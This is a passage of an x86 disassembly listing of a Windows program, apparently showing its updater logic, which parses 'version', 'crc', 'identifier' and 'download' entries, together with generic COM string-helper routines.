		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-68h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423E5F
		cmp	byte ptr [ebp-2140h], 30h
		jnz	short loc_423E58
		and	byte ptr [edi+0A004h], 0
		jmp	short loc_423E5F
; ---------------------------------------------------------------------------


loc_423E58:				; CODE XREF: sub_423489+9C4j
		mov	byte ptr [edi+0A004h], 1


loc_423E5F:				; CODE XREF: sub_423489+9BBj
					; sub_423489+9CDj
		push	offset aNewupdater ; "newupdater"
		lea	ecx, [ebp-78h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Ch
		jnz	short loc_423E82
		push	80004003h
		call	sub_431AB2


loc_423E82:				; CODE XREF: sub_423489+9EDj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-70h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-70h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-78h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423ECF
		cmp	byte ptr [ebp-2140h], 30h
		jnz	short loc_423EC8
		and	byte ptr [edi+0A000h], 0
		jmp	short loc_423ECF
; ---------------------------------------------------------------------------


loc_423EC8:				; CODE XREF: sub_423489+A34j
		mov	byte ptr [edi+0A000h], 1


loc_423ECF:				; CODE XREF: sub_423489+A2Bj
					; sub_423489+A3Dj
		push	offset aVersion_0 ; "version"
		lea	ecx, [ebp-88h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Dh
		jnz	short loc_423EF5
		push	80004003h
		call	sub_431AB2


loc_423EF5:				; CODE XREF: sub_423489+A60j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-80h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-80h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-88h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423F40
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi+6000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423F40:				; CODE XREF: sub_423489+AA1j
		push	offset aIdentifier ; "identifier"
		lea	ecx, [ebp-98h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Eh
		jnz	short loc_423F66
		push	80004003h
		call	sub_431AB2


loc_423F66:				; CODE XREF: sub_423489+AD1j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-90h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-90h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-98h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_423FB7
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi+8000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423FB7:				; CODE XREF: sub_423489+B18j
		push	offset aCrc	; "crc"
		lea	ecx, [ebp-0A8h]
		call	sub_424152
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Fh
		jnz	short loc_423FDD
		push	80004003h
		call	sub_431AB2


loc_423FDD:				; CODE XREF: sub_423489+B48j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-0A0h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-0A8h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4241A6
		test	bl, bl
		jz	short loc_42402E
		lea	eax, [ebp-2140h]
		push	eax
		call	dword_4331A8	; atoi
		pop	ecx
		mov	[edi+0A008h], eax


loc_42402E:				; CODE XREF: sub_423489+B8Fj
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_42403E
		push	80004003h
		call	sub_431AB2


loc_42403E:				; CODE XREF: sub_423489+BA9j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_424419
		push	dword ptr [eax]
		lea	ecx, [ebp-10h]
		call	sub_4264A7
		lea	ecx, [ebp-0B0h]
		call	sub_4264D2
		mov	ebx, 80004003h
		jmp	loc_42392C
; ---------------------------------------------------------------------------


loc_42406C:				; CODE XREF: sub_423489+4AFj
		lea	esi, [edi-4000h]
		push	0Ah
		push	offset aWindows	; "windows"
		push	esi
		call	dword_4331AC	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4240A1
		mov	eax, [ebp-28h]
		push	dword ptr [eax+1Ch]
		push	esi
		call	sub_4318B8	; strcpy
		push	offset dword_437130
		push	esi
		call	sub_4318D0	; strcat
		add	esp, 10h


loc_4240A1:				; CODE XREF: sub_423489+BFCj
		inc	dword ptr [ebp-24h]
		lea	ecx, [ebp-10h]
		add	edi, 1400Ch
		mov	byte ptr [ebp-4], 0Eh
		call	sub_4264D2
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_4240C2
		push	ebx
		call	sub_431AB2


loc_4240C2:				; CODE XREF: sub_423489+C31j
		mov	ecx, [ebp-18h]
		lea	eax, [ebp-0B8h]
		push	eax
		call	sub_424419
		push	dword ptr [eax]
		lea	ecx, [ebp-18h]
		call	sub_4264A7
		lea	ecx, [ebp-0B8h]
		call	sub_4264D2
		jmp	loc_4238FE
; ---------------------------------------------------------------------------


loc_4240EB:				; CODE XREF: sub_423489+481j
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 1
		call	sub_4264D2
		mov	edi, offset aS	; "%s"


loc_4240FC:				; CODE XREF: sub_423489+437j
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_42410C
		push	80004003h
		call	sub_431AB2


loc_42410C:				; CODE XREF: sub_423489+C77j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_424419
		push	dword ptr [eax]
		lea	ecx, [ebp-14h]
		call	sub_4264A7
		lea	ecx, [ebp-2Ch]
		call	sub_4264D2
		xor	ebx, ebx
		jmp	loc_4234FC
; ---------------------------------------------------------------------------


loc_424131:				; CODE XREF: sub_423489+7Ej
		lea	ecx, [ebp-14h]
		call	sub_4264D2
		lea	ecx, [ebp+8]
		call	sub_4264D2
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_423489	endp


; =============== S U B	R O U T	I N E =======================================



sub_424152	proc near		; CODE XREF: sub_423489+8Fp
					; sub_423489+1B2p ...
		mov	eax, offset loc_432042
		call	sub_4318CA	; _EH_prolog
		push	ecx
		push	esi
		mov	esi, ecx
		push	0Ch
		call	sub_431784
		pop	ecx
		mov	ecx, eax
		mov	[ebp-10h], ecx
		and	dword ptr [ebp-4], 0
		test	ecx, ecx
		jz	short loc_42417F
		push	dword ptr [ebp+8]
		call	sub_4241E4
		jmp	short loc_424181
; ---------------------------------------------------------------------------


loc_42417F:				; CODE XREF: sub_424152+21j
		xor	eax, eax


loc_424181:				; CODE XREF: sub_424152+2Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[esi], eax
		test	eax, eax
		jnz	short loc_424195
		push	8007000Eh
		call	sub_431AB2


loc_424195:				; CODE XREF: sub_424152+37j
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_424152	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241A6	proc near		; CODE XREF: sub_423489+CEp
					; sub_423489+DDp ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_4241B7
		call	sub_424217
		and	dword ptr [esi], 0


loc_4241B7:				; CODE XREF: sub_4241A6+7j
		pop	esi
		retn
sub_4241A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241B9	proc near		; CODE XREF: sub_423489+BBp
					; sub_423489+1DFp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [ecx]
		mov	eax, [eax]
		cmp	ecx, eax
		jnz	short loc_4241C9
		xor	eax, eax
		jmp	short locret_4241E1
; ---------------------------------------------------------------------------


loc_4241C9:				; CODE XREF: sub_4241B9+Aj
		test	ecx, ecx
		jnz	short loc_4241D2
		or	eax, 0FFFFFFFFh
		jmp	short locret_4241E1
; ---------------------------------------------------------------------------


loc_4241D2:				; CODE XREF: sub_4241B9+12j
		test	eax, eax
		jnz	short loc_4241DB
		push	1
		pop	eax
		jmp	short locret_4241E1
; ---------------------------------------------------------------------------


loc_4241DB:				; CODE XREF: sub_4241B9+1Bj
		push	eax
		call	sub_42426E

locret_4241E1:				; CODE XREF: sub_4241B9+Ej
					; sub_4241B9+17j ...
		retn	4
sub_4241B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E4	proc near		; CODE XREF: sub_424152+26p
					; sub_429920+47p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		and	dword ptr [esi+4], 0
		mov	dword ptr [esi+8], 1
		call	sub_431B5F
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_424211
		cmp	[esp+4+arg_0], eax
		jz	short loc_424211
		push	8007000Eh
		call	sub_431AB2


loc_424211:				; CODE XREF: sub_4241E4+1Bj
					; sub_4241E4+21j
		mov	eax, esi
		pop	esi
		retn	4
sub_4241E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_424217	proc near		; CODE XREF: sub_4241A6+9p
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+8]
		push	edi
		call	dword_4330C4	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_42423F
		test	esi, esi
		jz	short loc_42423B
		mov	ecx, esi
		call	sub_4242EE
		push	esi
		call	sub_43177E
		pop	ecx


loc_42423B:				; CODE XREF: sub_424217+14j
		xor	eax, eax
		jmp	short loc_424241
; ---------------------------------------------------------------------------


loc_42423F:				; CODE XREF: sub_424217+10j
		mov	eax, [edi]


loc_424241:				; CODE XREF: sub_424217+26j
		pop	edi
		pop	esi
		retn
sub_424217	endp


; =============== S U B	R O U T	I N E =======================================



sub_424244	proc near		; CODE XREF: sub_423489+113p
					; sub_423489+234p ...
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+4], 0
		jnz	short loc_424269
		push	dword ptr [esi]
		call	sub_431BD4
		test	eax, eax
		mov	[esi+4], eax
		jnz	short loc_424269
		cmp	[esi], eax
		jz	short loc_424269
		push	8007000Eh
		call	sub_431AB2


loc_424269:				; CODE XREF: sub_424244+7j
					; sub_424244+15j ...
		mov	eax, [esi+4]
		pop	esi
		retn
sub_424244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42426E	proc near		; CODE XREF: sub_4241B9+23p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		push	esi
		push	edi
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_424287
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		neg	eax
		sbb	eax, eax
		jmp	short loc_4242E7
; ---------------------------------------------------------------------------


loc_424287:				; CODE XREF: sub_42426E+Cj
		mov	edi, [ebp+arg_0]
		cmp	dword ptr [edi], 0
		jnz	short loc_424294
		push	1
		pop	eax
		jmp	short loc_4242E7
; ---------------------------------------------------------------------------


loc_424294:				; CODE XREF: sub_42426E+1Fj
		mov	esi, dword_433278
		push	eax
		call	esi
		push	dword ptr [edi]
		mov	[ebp+arg_0], eax
		call	esi
		mov	edx, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_4242AD
		mov	edx, eax


loc_4242AD:				; CODE XREF: sub_42426E+3Bj
		mov	ecx, [ebx]
		mov	edi, [edi]


loc_4242B1:				; CODE XREF: sub_42426E+57j
		mov	esi, edx
		dec	edx
		test	esi, esi
		jbe	short loc_4242D3
		mov	bx, [edi]
		mov	si, [ecx]
		inc	edi
		inc	edi
		inc	ecx
		inc	ecx
		cmp	si, bx
		jz	short loc_4242B1
		movzx	edx, word ptr [edi-2]
		movzx	eax, word ptr [ecx-2]
		sub	eax, edx
		jmp	short loc_4242E7
; ---------------------------------------------------------------------------


loc_4242D3:				; CODE XREF: sub_42426E+48j
		cmp	[ebp+arg_0], eax
		jnb	short loc_4242DD
		or	eax, 0FFFFFFFFh
		jmp	short loc_4242E7
; ---------------------------------------------------------------------------


loc_4242DD:				; CODE XREF: sub_42426E+68j
		xor	ecx, ecx
		cmp	[ebp+arg_0], eax
		setnz	cl
		mov	eax, ecx


loc_4242E7:				; CODE XREF: sub_42426E+17j
					; sub_42426E+24j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_42426E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242EE	proc near		; CODE XREF: sub_424217+18p
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4242FE
		push	eax
		call	dword_433274


loc_4242FE:				; CODE XREF: sub_4242EE+7j
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_42430C
		push	esi
		call	sub_43177E
		pop	ecx


loc_42430C:				; CODE XREF: sub_4242EE+15j
		pop	esi
		retn
sub_4242EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42430E	proc near		; CODE XREF: sub_423489+B3p
					; sub_423489+1D7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		mov	eax, [esi]
		push	ecx
		push	esi
		call	dword ptr [eax+1Ch]
		test	eax, eax
		jge	short loc_424333
		push	offset dword_437238
		push	esi
		push	eax
		call	sub_431AC0


loc_424333:				; CODE XREF: sub_42430E+17j
		mov	ecx, [ebp+arg_0]
		push	0
		push	[ebp+var_4]
		call	sub_424348
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn	4
sub_42430E	endp


; =============== S U B	R O U T	I N E =======================================



sub_424348	proc near		; CODE XREF: sub_42430E+2Dp
					; sub_42444B+2Dp
		mov	eax, offset loc_432056
		call	sub_4318CA	; _EH_prolog
		push	ecx
		push	esi
		mov	esi, ecx
		push	0Ch
		call	sub_431784
		pop	ecx
		mov	ecx, eax
		mov	[ebp-10h], ecx
		and	dword ptr [ebp-4], 0
		test	ecx, ecx
		jz	short loc_424378
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_42439F
		jmp	short loc_42437A
; ---------------------------------------------------------------------------


loc_424378:				; CODE XREF: sub_424348+21j
		xor	eax, eax


loc_42437A:				; CODE XREF: sub_424348+2Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[esi], eax
		test	eax, eax
		jnz	short loc_42438E
		push	8007000Eh
		call	sub_431AB2


loc_42438E:				; CODE XREF: sub_424348+3Aj
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	8
sub_424348	endp


; =============== S U B	R O U T	I N E =======================================



sub_42439F	proc near		; CODE XREF: sub_424348+29p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		and	dword ptr [esi+4], 0
		cmp	[esp+8+arg_4], 0
		mov	dword ptr [esi+8], 1
		jz	short loc_4243DE
		test	edi, edi
		jz	short loc_4243DE
		push	edi
		call	dword_43326C
		push	eax
		push	edi
		call	dword_433270
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_4243E0
		push	8007000Eh
		call	sub_431AB2
		jmp	short loc_4243E0
; ---------------------------------------------------------------------------


loc_4243DE:				; CODE XREF: sub_42439F+18j
					; sub_42439F+1Cj
		mov	[esi], edi


loc_4243E0:				; CODE XREF: sub_42439F+31j
					; sub_42439F+3Dj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_42439F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243E7	proc near		; CODE XREF: sub_423489+57p
					; sub_423489+454p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		mov	eax, [esi]
		push	ecx
		push	esi
		call	dword ptr [eax+34h]
		test	eax, eax
		jge	short loc_42440C
		push	offset dword_437238
		push	esi
		push	eax
		call	sub_431AC0


loc_42440C:				; CODE XREF: sub_4243E7+17j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		pop	esi
		mov	[eax], ecx
		leave
		retn	4
sub_4243E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424419	proc near		; CODE XREF: sub_423489+BBFp
					; sub_423489+C43p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		mov	eax, [esi]
		push	ecx
		push	esi
		call	dword ptr [eax+40h]
		test	eax, eax
		jge	short loc_42443E
		push	offset dword_437238
		push	esi
		push	eax
		call	sub_431AC0


loc_42443E:				; CODE XREF: sub_424419+17j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		pop	esi
		mov	[eax], ecx
		leave
		retn	4
sub_424419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42444B	proc near		; CODE XREF: sub_423489+104p
					; sub_423489+225p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		mov	eax, [esi]
		push	ecx
		push	esi
		call	dword ptr [eax+68h]
		test	eax, eax
		jge	short loc_424470
		push	offset dword_437238
		push	esi
		push	eax
		call	sub_431AC0


loc_424470:				; CODE XREF: sub_42444B+17j
		mov	ecx, [ebp+arg_0]
		push	0
		push	[ebp+var_4]
		call	sub_424348
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn	4
sub_42444B	endp


; =============== S U B	R O U T	I N E =======================================



sub_424485	proc near		; CODE XREF: sub_42852F+907p
		mov	eax, offset loc_432080
		call	sub_4318CA	; _EH_prolog
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	[ebp-18h], ebx
		mov	[ebp-10h], ebx
		mov	esi, [ebp+8]
		mov	byte ptr [ebp-4], 1
		cmp	esi, ebx
		mov	edi, 80004003h
		jnz	short loc_4244B6
		push	edi
		call	sub_431AB2


loc_4244B6:				; CODE XREF: sub_424485+29j
		lea	eax, [ebp-14h]
		mov	ecx, esi
		push	eax
		call	sub_4243E7
		push	dword ptr [eax]
		lea	ecx, [ebp-10h]
		call	sub_4264A7
		lea	ecx, [ebp-14h]
		call	sub_4264D2


loc_4244D3:				; CODE XREF: sub_424485+149j
		push	ebx
		lea	ecx, [ebp-10h]
		call	sub_4264DF
		test	al, al
		jnz	loc_4245D3
		push	offset aDownload ; "download"
		lea	ecx, [ebp-20h]
		call	sub_424152
		mov	esi, eax
		cmp	[ebp-10h], ebx
		mov	byte ptr [ebp-4], 2
		jnz	short loc_424502
		push	edi
		call	sub_431AB2


loc_424502:				; CODE XREF: sub_424485+75j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_42430E
		push	esi
		mov	ecx, eax
		call	sub_4241B9
		mov	ebx, eax
		lea	ecx, [ebp-1Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_4241A6
		lea	ecx, [ebp-20h]
		mov	byte ptr [ebp-4], 1
		call	sub_4241A6
		test	bl, bl
		jz	short loc_42459F
		xor	esi, esi
		cmp	[ebp-10h], esi
		jnz	short loc_424543
		push	edi
		call	sub_431AB2


loc_424543:				; CODE XREF: sub_424485+B6j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_4243E7
		mov	byte ptr [ebp-4], 3


loc_424553:				; CODE XREF: sub_424485+107j
		push	esi
		lea	ecx, [ebp-14h]
		call	sub_4264DF
		test	al, al
		jnz	short loc_42458E
		inc	dword ptr [ebp-18h]
		cmp	[ebp-14h], esi
		jnz	short loc_42456E
		push	edi
		call	sub_431AB2


loc_42456E:				; CODE XREF: sub_424485+E1j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-24h]
		push	eax
		call	sub_424419
		push	dword ptr [eax]
		lea	ecx, [ebp-14h]
		call	sub_4264A7
		lea	ecx, [ebp-24h]
		call	sub_4264D2
		jmp	short loc_424553
; ---------------------------------------------------------------------------


loc_42458E:				; CODE XREF: sub_424485+D9j
		mov	eax, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		cmp	eax, esi
		jz	short loc_42459F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_42459F:				; CODE XREF: sub_424485+AFj
					; sub_424485+112j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4245AB
		push	edi
		call	sub_431AB2


loc_4245AB:				; CODE XREF: sub_424485+11Ej
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-28h]
		push	eax
		call	sub_424419
		push	dword ptr [eax]
		lea	ecx, [ebp-10h]
		call	sub_4264A7
		lea	ecx, [ebp-28h]
		call	sub_4264D2
		mov	esi, [ebp+8]
		xor	ebx, ebx
		jmp	loc_4244D3
; ---------------------------------------------------------------------------


loc_4245D3:				; CODE XREF: sub_424485+59j
		mov	eax, [ebp-10h]
		and	byte ptr [ebp-4], 0
		cmp	eax, ebx
		jz	short loc_4245E4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4245E4:				; CODE XREF: sub_424485+157j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_4245F2
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_4245F2:				; CODE XREF: sub_424485+165j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp-18h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_424485	endp


; =============== S U B	R O U T	I N E =======================================



sub_424606	proc near		; CODE XREF: sub_42852F+9FAp
		mov	eax, offset loc_4320FF
		call	sub_4318CA	; _EH_prolog
		mov	eax, 208Ch
		call	sub_431860
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+0Ch]
		push	esi
		test	ecx, ecx
		push	edi
		jle	loc_424A1B
		mov	eax, [ebp+8]
		mov	dword ptr [ebp-1Ch], 0FFFFE000h
		sub	[ebp-1Ch], eax
		mov	[ebp-28h], ecx
		lea	esi, [eax+2000h]


loc_424640:				; CODE XREF: sub_424606+40Fj
		cmp	byte ptr [esi+12000h], 0
		jz	loc_424734
		push	esi
		call	sub_4318BE	; strlen
		test	eax, eax
		pop	ecx
		jbe	loc_424734
		cmp	byte ptr [esi],	23h
		jnz	loc_424734
		lea	eax, [ebp-2098h]
		push	esi
		push	eax
		call	sub_4318B8	; strcpy
		mov	edi, offset dword_437260
		lea	eax, [ebp-2098h]
		push	edi
		push	eax
		call	dword_4331CC	; strstr
		add	esp, 10h
		test	eax, eax
		jz	short loc_4246C2
		lea	ecx, [ebp-2098h]
		sub	eax, ecx
		inc	eax
		cmp	eax, 1
		mov	[ebp+0Ch], eax
		jle	short loc_4246C2
		push	eax
		lea	eax, [ebp-2098h]
		push	eax
		push	esi
		call	dword_43319C	; strncpy
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp+8]
		add	eax, esi
		add	esp, 0Ch
		add	eax, [ebp+0Ch]
		and	byte ptr [eax+ecx+2000h], 0


loc_4246C2:				; CODE XREF: sub_424606+84j
					; sub_424606+95j
		push	edi
		push	esi
		call	sub_4318D0	; strcat
		push	dword ptr [ebx+20h]
		push	esi
		call	sub_4318D0	; strcat
		add	esp, 10h
		lea	ecx, [ebp-14h]
		call	sub_4317AE
		and	dword ptr [ebp-4], 0
		push	esi
		lea	ecx, [ebp-14h]
		call	sub_43179C
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	eax
		call	sub_431796
		lea	eax, [ebp-38h]
		mov	ecx, ebx
		push	eax
		call	sub_422FB0
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		call	sub_4317A8
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-38h]
		call	sub_4317A2
		push	dword ptr [ebp-14h]
		push	esi
		call	sub_4318B8	; strcpy
		or	dword ptr [ebp-4], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		lea	ecx, [ebp-14h]
		call	sub_4317A2


loc_424734:				; CODE XREF: sub_424606+41j
					; sub_424606+50j ...
		lea	ecx, [ebp-10h]
		call	sub_4317AE
		lea	ecx, [ebp-24h]
		mov	dword ptr [ebp-4], 2
		call	sub_4317AE
		cmp	byte ptr [esi+12000h], 0
		mov	byte ptr [ebp-4], 3
		jz	loc_424826
		lea	edi, [ebx+20h]
		lea	ecx, [ebp-24h]
		push	edi
		call	sub_4317A8
		push	offset dword_437258
		lea	eax, [ebp-2Ch]
		push	edi
		push	eax
		call	sub_4317BA
		push	eax
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A8
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		push	dword ptr [ebp-10h]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_4247A9
		push	1
		push	dword ptr [ebp-10h]
		call	sub_421C92
		pop	ecx
		pop	ecx


loc_4247A9:				; CODE XREF: sub_424606+195j
		push	dword ptr [edi]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_4247C5
		mov	edi, [edi]
		push	1
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_421D8A
		add	esp, 0Ch


loc_4247C5:				; CODE XREF: sub_424606+1ADj
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		mov	byte ptr [ebp-4], 5
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset dword_43724C
		call	sub_43178A
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 3
		call	sub_42692B
		push	ecx
		lea	eax, [esi+0E000h]
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 6
		call	sub_43178A
		lea	ecx, [ebp-58h]
		call	sub_426DB8
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 3
		call	sub_426ABF


loc_424826:				; CODE XREF: sub_424606+150j
		push	2Ch
		call	dword_4330E0	; Sleep
		mov	al, [esi+12000h]
		mov	ecx, ebx
		push	eax
		mov	al, [esi+12004h]
		push	dword ptr [esi+12008h]
		push	eax
		mov	al, [esi+12001h]
		push	eax
		mov	al, [esi+12002h]
		push	eax
		lea	eax, [esi+2000h]
		push	eax
		lea	eax, [esi+4000h]
		push	eax
		lea	eax, [esi-2000h]
		push	esi
		push	eax
		call	sub_422ECA
		lea	ecx, [ebp-18h]
		mov	[ebp+0Fh], al
		call	sub_4317AE
		lea	eax, [esi+10000h]
		lea	ecx, [ebp-18h]
		push	eax
		mov	byte ptr [ebp-4], 7
		call	sub_43179C
		lea	eax, [ebp-18h]
		push	offset dword_437248
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		call	sub_4317BA
		lea	edi, [esi+0E000h]
		mov	byte ptr [ebp-4], 8
		push	edi
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		call	sub_4317BA
		push	eax
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 9
		call	sub_4317A8
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 8
		call	sub_4317A2
		lea	ecx, [ebp-30h]
		mov	byte ptr [ebp-4], 7
		call	sub_4317A2
		push	ecx
		lea	eax, [ebp-18h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		call	sub_431796
		mov	ecx, ebx
		call	sub_4259AE
		mov	al, [esi+12000h]
		test	al, al
		jz	loc_4249E8
		cmp	byte ptr [ebp+0Fh], 0
		jz	short loc_424966
		push	80000000h
		push	1
		push	ecx
		mov	byte ptr [ebx+18h], 1
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		mov	byte ptr [ebp-4], 0Ah
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset dword_43724C
		call	sub_43178A
		lea	ecx, [ebp-98h]
		mov	byte ptr [ebp-4], 7
		call	sub_42692B
		push	ecx
		mov	byte ptr [ebp-4], 0Bh
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	edi
		call	sub_43178A
		lea	ecx, [ebp-98h]
		call	sub_426DB8
		mov	byte ptr [ebp-4], 7
